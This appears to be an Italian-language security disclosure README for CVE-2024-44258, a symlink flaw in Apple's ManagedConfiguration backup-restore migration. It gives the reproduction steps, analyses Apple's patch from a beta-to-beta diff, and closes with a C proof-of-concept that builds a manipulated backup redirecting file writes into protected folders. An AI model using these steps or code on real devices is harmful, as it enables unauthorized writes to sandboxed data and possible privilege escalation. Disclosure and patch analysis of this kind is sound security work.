
CVE-2024-44258
CVE-2024-44258 evidenzia una vulnerabilità di collegamento simbolico all'interno del framework ManagedConfiguration e del demone profiled nei dispositivi Apple. Quando si ripristina un backup appositamente creato, il processo di migrazione non riesce a verificare se la cartella di destinazione è un collegamento simbolico (symlink), portando a una migrazione non autorizzata di file in aree ristrette.
CVE-2024-44258 è stato assegnato a questo problema. I CVE sono identificatori univoci per vulnerabilità di sicurezza divulgate pubblicamente.
Per maggiori informazioni, consultare le pagine di supporto ufficiali Apple:
La vulnerabilità consente agli aggressori di sfruttare i collegamenti simbolici durante il ripristino di un backup per aggirare le restrizioni delle cartelle, scrivendo file in aree sandbox o protette. Questa falla può potenzialmente consentire accesso non autorizzato ai dati, escalation dei privilegi o sfruttamento di altri servizi dipendenti dalla configurazione modificata.
Creare un backup manipolato
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles
Aggiungere i file desiderati
/private/var/mobile/Library/ConfigurationProfilesRipristinare il backup manipolato
Riavviare il dispositivo
Previsto:
/private/var/mobile/Library/ConfigurationProfiles dovrebbe migrare in:
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/
Effettivo:
A causa del collegamento simbolico creato ad arte, i file vengono migrati in una cartella ristretta che può contenere dati sensibili o protetti.
Questa vulnerabilità è stata osservata in natura per diversi mesi, indicando il suo sfruttamento attivo.
In iOS 18.1 beta5, Apple ha introdotto una patch per risolvere la vulnerabilità del collegamento simbolico all'interno del framework ManagedConfiguration. La funzione _MCDestinationPathIsSafeFromSymlinkAttacks è stata aggiunta per eseguire un controllo di sicurezza sul percorso di destinazione, impedendo la migrazione non autorizzata di file in aree ristrette. Questo controllo è stato aggiunto specificamente alla funzione MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:.
-[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]La correzione della vulnerabilità è stata implementata modificando la funzione -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:], responsabile della gestione delle migrazioni di file all'interno del framework ManagedConfiguration. Ecco come funziona la patch:
Aggiunta del controllo del collegamento simbolico
Apple ha aggiunto una chiamata a _MCDestinationPathIsSafeFromSymlinkAttacks all'inizio di MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:. Questa funzione ora verifica se il percorso di destinazione è privo di collegamenti simbolici, aggiungendo un livello di protezione prima di eseguire qualsiasi operazione di migrazione.
Controllo condizione
Se _MCDestinationPathIsSafeFromSymlinkAttacks rileva un collegamento simbolico nel percorso di destinazione, impedisce alla migrazione di procedere. La funzione registra un messaggio di fault utilizzando OS_LOG_TYPE_FAULT e termina anticipatamente, fermando l'operazione del file.
Utilizzando Diaphora in IDA, un confronto diff tra iOS 18.1 beta4 e iOS 18.1 beta5 rivela le modifiche nella funzione -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]. L'immagine sottostante mostra il codice modificato con il controllo del collegamento simbolico aggiunto.

Di seguito è riportato un frammento di codice di esempio che dimostra come creare un backup che sfrutta la vulnerabilità. Questo codice delinea come aggiungere collegamenti simbolici e file al backup, simulando il processo senza fornire il file di backup manipolato effettivo.
unsigned char* plist_data = NULL;
file_read("/path/to/your/test-outofsandbox.plist", &plist_data, &plist_size); // THIS NEED TO BE CHANGED TO THE FILE PATH
backup_add_directory(backup, "HomeDomain", "Library/ConfigurationProfiles", 0755, 501, 501);
backup_add_file_with_data(backup, "HomeDomain", "Library/ConfigurationProfiles/test.plist", 0755, 501, 501, 4, plist_data, plist_size); // WE ADD OUR FILES
backup_add_directory(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", NULL, 0755, 501, 501);
backup_add_symlink(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", "Library", "/private/var/mobile/Library", 501, 501); // CHANGE THE PATH TO THE SANDBOXED FOLDER YOU WANT TO WRITE IN YOUR FILES
backup_write_mbdb(backup); // SAVE THE BACKUP
backup_free(backup);
Un ringraziamento speciale al team di sicurezza di Apple per la loro rapida risposta e collaborazione.
Vulnerabilità scoperta da Hichem Maloufi e Christian Mina
Questo repository è concesso in licenza con la licenza MIT. Vedere LICENSE per maggiori informazioni.